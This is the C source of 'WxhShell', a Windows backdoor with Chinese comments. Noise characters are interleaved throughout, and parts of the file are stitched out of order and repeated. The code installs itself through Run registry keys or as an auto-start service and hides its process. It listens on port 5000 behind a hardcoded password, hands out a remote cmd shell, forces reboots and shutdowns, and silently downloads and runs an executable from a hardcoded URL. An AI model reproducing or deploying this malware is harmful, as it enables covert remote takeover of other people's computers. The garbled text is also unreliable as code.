RnT.MU PROCESS_BASIC_INFORMATION pbi; \8]("l}ms8 j~O"=?7!O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9C:V i if(NULL == hInst ) return 0; xvW# ~T] YRU#/TP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kI,O9z7A7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a4eE/1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J+YoAf`hi A3Y}|7QA if (!NtQueryInformationProcess) return 0; 0f"la=6 TJs ~}&L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =6[R,{|C if(!hProcess) return 0; +uMK_ds~ 6QNO#!; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s;xErH@RA #<yKG \X? CloseHandle(hProcess); e4-7&8N+ j4E`O%@^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |L~RC if(hProcess==NULL) return 0; J pKCux .>@]Im HMODULE hMod; }c'T]h\S char procName[255]; <ugy-vSv unsigned long cbNeeded; ;D}E/'= $rH}2 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I1!m;5-c9k xcQ:&q CloseHandle(hProcess); $i$Z+-W4' P;ovPyoO if(strstr(procName,"services")) return 1; // 以服务启动 y@\J7 h: `,)%<} return 0; // 注册表启动 @!%HEs!# # } xd^9R< =7-@&S=?s // 主模块 -{eI6#z|\A int StartWxhshell(LPSTR lpCmdLine) 3=IY0Q>/( { >{k0N@_ SOCKET wsl; =B"^#n ; BOOL val=TRUE; iTJE:[W"y int port=0; I|)U>bV struct sockaddr_in door; ?9;r|G lM[FT=M if(wscfg.ws_autoins) Install(); {GS$7n P
yN{ port=atoi(lpCmdLine); pSS8 %r%S' }N
W01nee if(port<=0) port=wscfg.ws_port; 1D)=q^\I @fI2ZWN| WSADATA data; 9oxn-)6JC if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h3P ^W(=& B^"1V{M if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F+?g0w[' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h|[oQ8) door.sin_family = AF_INET; 5VGr<i&A door.sin_addr.s_addr = inet_addr("127.0.0.1");
iKEHwm door.sin_port = htons(port); Yk
yB | gP%8nh'C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BVv{:m{w closesocket(wsl); 4i(?5p>f return 1; ;<nQl,2N } &\AW}xp vXeI)vFK if(listen(wsl,2) == INVALID_SOCKET) { I'%ASZ closesocket(wsl); d2O x:| <) return 1; vABUUAo!Jr } [PL]!\NJ Wxhshell(wsl); Q a3+ 9 WSACleanup(); Iz[wrtDI1 ')1p return 0; XJZS}Z7h ljJR7< } *&~wl(+O= OjfumZL# // 以NT服务方式启动 GbJVw\5Z* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uui3jZ: { ,nz3S5~ DWORD status = 0;
peGh- DWORD specificError = 0xfffffff; !r`/vQ# m$B)_WW serviceStatus.dwServiceType = SERVICE_WIN32; QLOcgU^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; T/TMi&:?. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L3y`*&e> serviceStatus.dwWin32ExitCode = 0; do=s=&T serviceStatus.dwServiceSpecificExitCode = 0; }<g-0&GLm serviceStatus.dwCheckPoint = 0; )A:|8m serviceStatus.dwWaitHint = 0; #qg(DgH
7 .|<+-Rsj hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wvlM( if (hServiceStatusHandle==0) return; 6'qu[~}Q 1eMz"@Q9 status = GetLastError(); sL\W6ej if (status!=NO_ERROR) CyD)=e{ { S F&EVRv serviceStatus.dwCurrentState = SERVICE_STOPPED; 0:qR,NW^# serviceStatus.dwCheckPoint = 0; ioJr2wq6 serviceStatus.dwWaitHint = 0; fE,Io3 serviceStatus.dwWin32ExitCode = status; (?lKedA>2 serviceStatus.dwServiceSpecificExitCode = specificError; 9y( 491"o SetServiceStatus(hServiceStatusHandle, &serviceStatus); !TeI Jm/l return; &20}64eW% } _Sn45h@" HAc1w]{( serviceStatus.dwCurrentState = SERVICE_RUNNING; N=~aj7B% serviceStatus.dwCheckPoint = 0; TI}Y U serviceStatus.dwWaitHint = 0; iuS*Vw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c@/K} } ?"L ^0% 2^4OaHY88 // 处理NT服务事件,比如:启动、停止 22FHD4 VOID WINAPI NTServiceHandler(DWORD fdwControl) ?<6yKxn { ^@OdY&5^ switch(fdwControl) F7 IZ;4cp { RGy+W- case SERVICE_CONTROL_STOP: <zt124y-6 serviceStatus.dwWin32ExitCode = 0; tl+ 9SBl serviceStatus.dwCurrentState = SERVICE_STOPPED; S0mzDLgE serviceStatus.dwCheckPoint = 0; j6DI$tV~ serviceStatus.dwWaitHint = 0; ?OF9{$m3? { 9#b/D&pX5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ky=h7#wdv- } !?5YXI, return; }B@44HdY case SERVICE_CONTROL_PAUSE: G*%:"qleT$ serviceStatus.dwCurrentState = SERVICE_PAUSED; .T\_4C break; /nB|Fo_&Q case SERVICE_CONTROL_CONTINUE: f_'8l2jK1i serviceStatus.dwCurrentState = SERVICE_RUNNING; Z,7VOf6g break; }0idFotck case SERVICE_CONTROL_INTERROGATE: ]3]=RuQK2 break; MZ"|Jn }; Ri;_
8v[H| SetServiceStatus(hServiceStatusHandle, &serviceStatus); <BjrW]pM } O#?@'1 p,7,
tx // 标准应用程序主函数 w:07_`cH= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <d~si^*\ch { 'b:e8m
y85R"d // 获取操作系统版本 20cEE> OsIsNt=GetOsVer(); Kjt\A]R% GetModuleFileName(NULL,ExeFile,MAX_PATH); frT<9$QUL cG,zO-H // 从命令行安装
{[dY$
if(strpbrk(lpCmdLine,"iI")) Install(); _)[UartKx +F+M[ef<ws // 下载执行文件 bW^C30m if(wscfg.ws_downexe) { y_r(06"z1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |H.ARLS WinExec(wscfg.ws_filenam,SW_HIDE); A\<W x/ } .?kq\.rQ Y&-%
N if(!OsIsNt) { (nAL;:$x2 // 如果时win9x,隐藏进程并且设置为注册表启动 $[\\{XJ. HideProc(); tmi)LRF
H StartWxhshell(lpCmdLine); _{/[&vJ } v1z
d[jqk else !<?<f
db if(StartFromService()) 8p]9A,Uq& // 以服务方式启动 $4q$!jB5 StartServiceCtrlDispatcher(DispatchTable); **JBZ \' else PU8dr| ! // 普通方式启动 %~L"TK`? StartWxhshell(lpCmdLine); us+z8Mz y/+IPR return 0; ps UT2 } J4u>77I +t3o5& V!/9GeIF Xw3j(`w$, =========================================== HoK+g_9~ yK-DzAv ~LQzt@G4 me@)kQ8M E+lr{~ 2T(7V[C%9 " dz!m8D0 4AMe>s #include <stdio.h> sNM ]bei #include <string.h> Y&H<8ez #include <windows.h> h'?v(k! #include <winsock2.h> #p"$%f5Q_ #include <winsvc.h> xkv%4H> #include <urlmon.h> L9-Jwy2(>
HQ]mDo #pragma comment (lib, "Ws2_32.lib") |<'6rJ[i> #pragma comment (lib, "urlmon.lib") 3?&v:H ea]qX6)UZ #define MAX_USER 100 // 最大客户端连接数 k||dX(gl #define BUF_SOCK 200 // sock buffer x-]:g&5T #define KEY_BUFF 255 // 输入 buffer Tdm|=xI
(;&}\OX6nm #define REBOOT 0 // 重启 U!NuiKaQ26 #define SHUTDOWN 1 // 关机 ,J,Rup">h v>j,8E #define DEF_PORT 5000 // 监听端口 R:$E'PSx %}e['d h #define REG_LEN 16 // 注册表键长度 uVKe ?~RC #define SVC_LEN 80 // NT服务名长度 bN7m[GRO. <bb!BS&w // 从dll定义API YC')vv3o( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +Gg|BTTL/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4wkv#vi7!- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *5.wwV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Il Qk W< Cf9{lhE8 // wxhshell配置信息 FzcXSKHV% struct WSCFG { kJpO0k9?eY int ws_port; // 监听端口 >KL=(3:":p char ws_passstr[REG_LEN]; // 口令 Xdx8HB@L int ws_autoins; // 安装标记, 1=yes 0=no T~k @Z char ws_regname[REG_LEN]; // 注册表键名 $}{[_2 char ws_svcname[REG_LEN]; // 服务名 x"g)pGsT char ws_svcdisp[SVC_LEN]; // 服务显示名 /]^Y\U ^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Nd1'BVf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 df$.gP int ws_downexe; // 下载执行标记, 1=yes 0=no ;N?(R\*8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H`'a|Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w;yzgj:n&f #>("(euXMF }; pZ}B/j T[)!7@4r // default Wxhshell configuration / Ws>;0 struct WSCFG wscfg={DEF_PORT, z=) m6\ "xuhuanlingzhe", zWhj>Za 1, -fk;Qq3O "Wxhshell", }oA>0Nw$K "Wxhshell", M:GpyE% "WxhShell Service", f)j*P<V "Wrsky Windows CmdShell Service", )~)l^0X "Please Input Your Password: ", )ds]fvMW]N 1, $8rnf "http://www.wrsky.com/wxhshell.exe", vQyY
% "Wxhshell.exe" Te
L&6F$ }; E I(e3 tiE|%jOzt // 消息定义模块 mjWU0. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s{R,- \_ char *msg_ws_prompt="\n\r? for help\n\r#>"; "A"YgD#t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N-?5[T" char *msg_ws_ext="\n\rExit."; hdCd:6 char *msg_ws_end="\n\rQuit."; e}1Q+h\ char *msg_ws_boot="\n\rReboot..."; e)n ,Y char *msg_ws_poff="\n\rShutdown..."; Rlk3AWl2u char *msg_ws_down="\n\rSave to "; Y4HN1 c>K]$;} char *msg_ws_err="\n\rErr!"; CTW\Dt5 char *msg_ws_ok="\n\rOK!"; sWte& =DJ:LmK char ExeFile[MAX_PATH]; A~PR int nUser = 0; TLVsTM8P HANDLE handles[MAX_USER]; M,_
$s, int OsIsNt; q+\<%$:u P?/JyiO} SERVICE_STATUS serviceStatus; 9>w~B|/ SERVICE_STATUS_HANDLE hServiceStatusHandle; FHQ`T\fC$@ B6
(\1 // 函数声明 2P^|juc)sU int Install(void); b(GV4% int Uninstall(void); @6yc^DAA int DownloadFile(char *sURL, SOCKET wsh); m%`YAD@2z int Boot(int flag); 7Dbm
s(:( void HideProc(void); K<*6E@+i int GetOsVer(void); I U" int Wxhshell(SOCKET wsl); &]o-ZZX void TalkWithClient(void *cs); mG\QF0h int CmdShell(SOCKET sock); 5<dg@,\ int StartFromService(void); 8F8?1 int StartWxhshell(LPSTR lpCmdLine); /RJ HK/WO jr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BA:x*(%~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )~wKRyQff N9_* {HOy // 数据结构和表定义 NSz} SERVICE_TABLE_ENTRY DispatchTable[] = z;>$["t]6 { '_G\_h}5 {wscfg.ws_svcname, NTServiceMain}, V'j+)!w5 {NULL, NULL} S{;Pga*Px }; d=xjLbsZ q-<DYVG+ // 自我安装 dR]-R/1| int Install(void) B>L7UQ6_[ { 'NlhLu char svExeFile[MAX_PATH]; C12UZE; HKEY key; oN,1ig strcpy(svExeFile,ExeFile); ":udo VS! 6h>#;M // 如果是win9x系统,修改注册表设为自启动 WT ;2aS: if(!OsIsNt) { r&
a[? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |&= -Nm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #-;W|ib%z RegCloseKey(key); ~-zTY&c_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 58s-RO6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9i5?J ]o^ RegCloseKey(key); 4[$:KGh3 return 0; e3;& } 4$KDf;m@ } 7{F\b } eK:?~BI! else { !vgY3S0?rq [;z\bV<S // 如果是NT以上系统,安装为系统服务 src9EeiV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <==uK>pET if (schSCManager!=0) =
J;I5:J { %VO+\L8Fs SC_HANDLE schService = CreateService #<*.{"T ( .#QE*<T)] schSCManager, epiviCYC wscfg.ws_svcname, S1|u@d' wscfg.ws_svcdisp, .]vb\NBK7 SERVICE_ALL_ACCESS, 2&4nf/sE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0DicrnH8 SERVICE_AUTO_START, xvOz*vM? SERVICE_ERROR_NORMAL, r
W`7<3 svExeFile, h =A NULL, >.Gmu NULL, 0zH-g NULL, Fe0M2%e;| NULL, :01d9|# NULL
J
8%gC ); 5IF5R# if (schService!=0) WA(x]"" { inGUN?? CloseServiceHandle(schService); J>A9]%M CloseServiceHandle(schSCManager); unFRfec{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TTVmm{6 strcat(svExeFile,wscfg.ws_svcname); wo0j/4o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]:gW+6w"C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &4-;;h\H RegCloseKey(key); <r#FI8P;X
return 0; b-<0\@`Z# } "UTW(~D' } ,H{9`a#+: CloseServiceHandle(schSCManager); kGV:=h } SI!A?34 } c~vhkRA |cU75
S 1 return 1; v#Rh:#7O%U } ,\6Vb*G|E> f}bq // 自我卸载 JVIFpN" ` int Uninstall(void) d1cp=RbC { =cEsv&i HKEY key; EHC7b^|3} lI?P_2AaS if(!OsIsNt) { g=t`3X#d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \U$:/#1Oe RegDeleteValue(key,wscfg.ws_regname); ;stjqTd RegCloseKey(key); G!6b
)4L- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |6Q5bV RegDeleteValue(key,wscfg.ws_regname); 01'>[h#_n RegCloseKey(key); WML--<dU
return 0; ii?T:T@ } U823q-x } xh2r?K@k> } 4k225~GQ:C else { G[>NP#P hWy@?r. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :IZAdlz[@ if (schSCManager!=0) i"<W6 { (m R)o&Y%, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tczJk1g} if (schService!=0) b=5w>* { UQu6JkbLL if(DeleteService(schService)!=0) { osXEzr( CloseServiceHandle(schService); %&6QUv^ CloseServiceHandle(schSCManager); z,aMbgt return 0; 8{ZTHY- } gML8lu0) CloseServiceHandle(schService); pWxk^qhe/ } +mWf$+w CloseServiceHandle(schSCManager); c]{}|2u } Z^> 4qf,k } ~LS</_N ;M.Q=#;E return 1; 9295:Y| w1 } G?}?>O y$%oR6K7- // 从指定url下载文件 _8.TPB]no int DownloadFile(char *sURL, SOCKET wsh) [`@M!G. { I,hw0e HRESULT hr; Ikdj?"+O char seps[]= "/"; |<u+Xi
~ char *token; oMEW5.VX char *file; A^,E~Z!x char myURL[MAX_PATH]; Ca0sm char myFILE[MAX_PATH]; 3Z";a Br!;Ac&N strcpy(myURL,sURL);
)c4tGT< token=strtok(myURL,seps); HFFG4' while(token!=NULL) 7*PBJt\ { n0lOq file=token; )7 & -DI1 token=strtok(NULL,seps); Yk|6?e{+) } qj;i03 +@ R$awo/'^ GetCurrentDirectory(MAX_PATH,myFILE); )YAa7\Od strcat(myFILE, "\\"); ,Wd=!if strcat(myFILE, file); K? o p3}f? send(wsh,myFILE,strlen(myFILE),0); qob!AU| send(wsh,"...",3,0); }!_z\'u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q#3}AO if(hr==S_OK) C>Hdp_Lm return 0; ^y@
W\ else i F+:j8
b return 1; \oWpyT _ /ugWl99.W } h,$CJdDY] ]R""L<K%HF // 系统电源模块 UDI\o1Rbp int Boot(int flag) x6,ozun { b,+Sa\j)( HANDLE hToken; >
'=QBW TOKEN_PRIVILEGES tkp; @ ;!IPiU ,
@jtD*c) if(OsIsNt) { RTh=x. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :6(\: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %/uLyCUZ tkp.PrivilegeCount = 1; /p<9C? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l+6c|([ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =p4n@C if(flag==REBOOT) { %"v:x?d$$o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) znE1t%V return 0; oH w!~c7 } o6A$)m5V else { ?7NSp2aq2A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A{s-g>s return 0; ,;t:x|{% } 2FuV%\p } )'m;a_r` else { 26/<\{q~ if(flag==REBOOT) { 1 |{s8[;8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z5v_- +K return 0; =J1V?x=l@ } _h<rVcl!wX else { tn$TyCzckW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4vbGXb}! return 0; <5G(Y#s/? } sAc1t` } E "=4(
x(HHy, return 1; pG"wQ } ~TH4='4W3 zd%f5L(' // win9x进程隐藏模块 R|*0_!O:[ void HideProc(void) )yyH_Ax2 { #~'d
Y\& I8!>7`L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bK6^<,~ if ( hKernel != NULL ) iN8[^,2H| { d_we?DZ| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'a0M.*f}G ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .I~:j`K6 FreeLibrary(hKernel); rSv,;v } )&T 5/+ FNUs
.d" return; WD\Yx~o } 2&*#k oF$#7#0`;8 // 获取操作系统版本 ?ja%*0
R int GetOsVer(void) zwC ,,U { lZRO"[< OSVERSIONINFO winfo; "y~*1kBu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gOnZ# GetVersionEx(&winfo); $yi:0t8t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ub
f5: return 1; !4Zy$69R else tW~kn9glZ return 0; #W8F_/!n| } B`)sc ~u )U|V |yem' // 客户端句柄模块 ;+C$EJw- int Wxhshell(SOCKET wsl) mlc8q s { ym5@SBqIx SOCKET wsh; J>#hu3&UOQ struct sockaddr_in client; @+t|Aa^g DWORD myID; :%9R&p:'ar Q\s+w){f% while(nUser<MAX_USER) `W}pAmhj { o]tfvGvU* int nSize=sizeof(client); syLdm3d| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?@PSD\
if(wsh==INVALID_SOCKET) return 1; [2xu`HT02 !X: TieyVu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .n+
;&5 if(handles[nUser]==0) u~*A-X[ closesocket(wsh); }Ifa5Lq) else F|6"-*[RS nUser++; G~C-tAB } 9mk@\Gqqm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xGr{ad.N p #w8$Qjp return 0; ':}9>B3 S } 8F<|.V; U"|1@W# // 关闭 socket |LJv* void CloseIt(SOCKET wsh) Y?1T
XsvF { c.1gQy$}| closesocket(wsh); CvRCcSJM\2 nUser--; +JG05h%' ExitThread(0); ^!exH(g } [4C_iaE 1P*GIt2L // 客户端请求句柄 h{o,*QL void TalkWithClient(void *cs) G6{PrV# { KM)MUPr 0sSBwG SOCKET wsh=(SOCKET)cs; !XjZt char pwd[SVC_LEN]; `qd5+~c char cmd[KEY_BUFF]; L' $\[~Ug char chr[1]; |FT.x9e- int i,j; "qC3%9e Cp!9 "J: while (nUser < MAX_USER) { FTEC=j$ln Ux?G:LLz if(wscfg.ws_passstr) { x&u@!# d] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C$q-WoTM( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c]VK%zl //ZeroMemory(pwd,KEY_BUFF); _}j> i=0; RB*z."
while(i<SVC_LEN) { #p;<X|Hc}8 m,hqq%qz // 设置超时 ZTqt 4H fd_set FdRead; HL[V}m struct timeval TimeOut; N1g;e?T': FD_ZERO(&FdRead); qooTRqc#, FD_SET(wsh,&FdRead); Z>w@3$\z TimeOut.tv_sec=8; Q ijO%) TimeOut.tv_usec=0; G M;uwL# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uCW}q.@4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wrCV&2CG /^{Q(R(X< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >d
.|I& pwd=chr[0]; N{RHbSa(
if(chr[0]==0xd || chr[0]==0xa) { c\P}ZQ pwd=0; *WzPxQ_ break; 2&s(:= } WH $*\IGJL i++; #Sg/ } c}=[r1M* {az
LtTh // 如果是非法用户,关闭 socket 7~MWp4. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U!"RfRD.< } b[n6L5P5m2 W^:g_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JP]4* l send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LWM& k#i S +73 /Vs while(1) { )d
{8Cu6 \FO
4A ZeroMemory(cmd,KEY_BUFF); |~D~#Nz aQ 6T2bQ // 自动支持客户端 telnet标准 kc2E4i j=0; 2I4G=jM[ while(j<KEY_BUFF) { 7V\M)r{q7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OnW,R3eg cmd[j]=chr[0]; lQ.3_{"s if(chr[0]==0xa || chr[0]==0xd) { <&M5#:u cmd[j]=0; 6Vu??qBy break; k|_
>I } P/9|mYmsq j++; 7,9zj1< } x4_FG{AIu BxxqzN+ // 下载文件 uUG &At if(strstr(cmd,"http://")) { ybm&g( -\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); <8Q?kj if(DownloadFile(cmd,wsh)) ]7dal [i send(wsh,msg_ws_err,strlen(msg_ws_err),0); xaSiG else 8\Z/mU*4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l]e7 } $0E_4#kwB else { %1]Lc=[j _{?/4ZhA\+ switch(cmd[0]) { [Hp"a^~r| QW%BKF! // 帮助 {I_I$x_ case '?': { _RzcMX send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nxYp9,c" break; *8QGv6*vQ } aib)ItNb // 安装 j]_"MMwk$< case 'i': { O/Wc@Ln if(Install()) ]O;Rzq{D( send(wsh,msg_ws_err,strlen(msg_ws_err),0); [R[Suf else M}6? |ir send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #6<9FY# break; cS1BB#N0 } n\y%5J+ // 卸载 Z)zmT%t case 'r': { #(NkbJ5ka if(Uninstall()) , send(wsh,msg_ws_err,strlen(msg_ws_err),0); !23#Bz7 else mM7S9^<UH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NLxsxomj break; Y;'7Ek) } d<v>C-nk% // 显示 wxhshell 所在路径 A5ps|zidI case 'p': { SW%d'1ya char svExeFile[MAX_PATH]; aTy&" strcpy(svExeFile,"\n\r"); q,a|lH strcat(svExeFile,ExeFile); +H
L]t'UEg send(wsh,svExeFile,strlen(svExeFile),0); B/CP/Pfb break; ;-d :!* } ,2%> e"% // 重启 93d ht case 'b': { s],+]<qX send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @GGPw9a if(Boot(REBOOT)) vx_v/pD send(wsh,msg_ws_err,strlen(msg_ws_err),0); lLT;V2=osX else { AjZ@hid closesocket(wsh); @`ttyI^1f ExitThread(0); b='YCa } NY
ZPh%x break; {^bs
}($J } f&Bu_r // 关机 s3G3_& case 'd': { )*iSN*T8q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s!2pOH!u if(Boot(SHUTDOWN)) ET`;TfqM send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2Z Gh else { kN>AY'1 closesocket(wsh); $vdGkz@6 ExitThread(0); j%KLp4J/e } :r[`bqC;\* break; #{l+I(M } ![iAALPNl // 获取shell {q"l|Oe case 's': { D;|4ZjM- CmdShell(wsh); c)M_&?J!5 closesocket(wsh); !G#3jh:kiY ExitThread(0); Tp`by
1s break; F[c;iM(^ } M#d_kDMw // 退出 x1$tS#lS case 'x': { 2`l$uEI3oJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
8KW}XG CloseIt(wsh); |_%| break; H>`?S{J } pscCXk(|A` // 离开 BjJ$I^ case 'q': { 56AaviE C send(wsh,msg_ws_end,strlen(msg_ws_end),0); A[ ZJS closesocket(wsh); >=i47-H WSACleanup();
h.g11xa exit(1); 'UT 4x9&z break; WFg'G>* } pP)0 l } ^ow[XEB% } Zi2NgVF abCcZ<=|b // 提示信息 ZV_Z)< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DCmNxN } $d!Sl
a } 2[Q*?N SA{A E9y return; >&aFSL,f } c:51In|~{C wr8n*Du // shell模块句柄 o
1#XM/Z int CmdShell(SOCKET sock) RWXj)H)w { 'sY>(D*CQ STARTUPINFO si; <0 R7uH ZeroMemory(&si,sizeof(si)); )AqM?FE4R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < 7zyRm@S si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +:~&"U^z& PROCESS_INFORMATION ProcessInfo; !Il>,q&F char cmdline[]="cmd"; _ts0@Z_: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1U~AupHE return 0; m^O:k"+ ! } *
C~ 0d:t$2~C // 自身启动模式 |VlAt#E int StartFromService(void) Rmn| "ZK { zV4%F"- typedef struct %7O`]ik: { {mw,U[C DWORD ExitStatus; c$?qN&X_K DWORD PebBaseAddress; g;\zD_":l DWORD AffinityMask; dj?.Hc7od DWORD BasePriority; vf~q%+UqK ULONG UniqueProcessId; 0[T!}F^%e ULONG InheritedFromUniqueProcessId; 7-w
+/fv } PROCESS_BASIC_INFORMATION; t_3)} I\Y/*u PROCNTQSIP NtQueryInformationProcess; 5 &-fX:/
~ceGx static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;#3!ZB:} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aAu
upPu }^?dK3~q HANDLE hProcess; [G[HQ)A PROCESS_BASIC_INFORMATION pbi; s3_i5,y 1<<`T%& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6VQ*z8wLw if(NULL == hInst ) return 0; emw3cQ -G;4['p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g*-
K!X6l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )`-9WCd& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mV`Z]-$$i A<9ZX=DAjw if (!NtQueryInformationProcess) return 0; (LTm!"Q 2y
~]Uo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kd|@. if(!hProcess) return 0; }3lM+]pf -:a
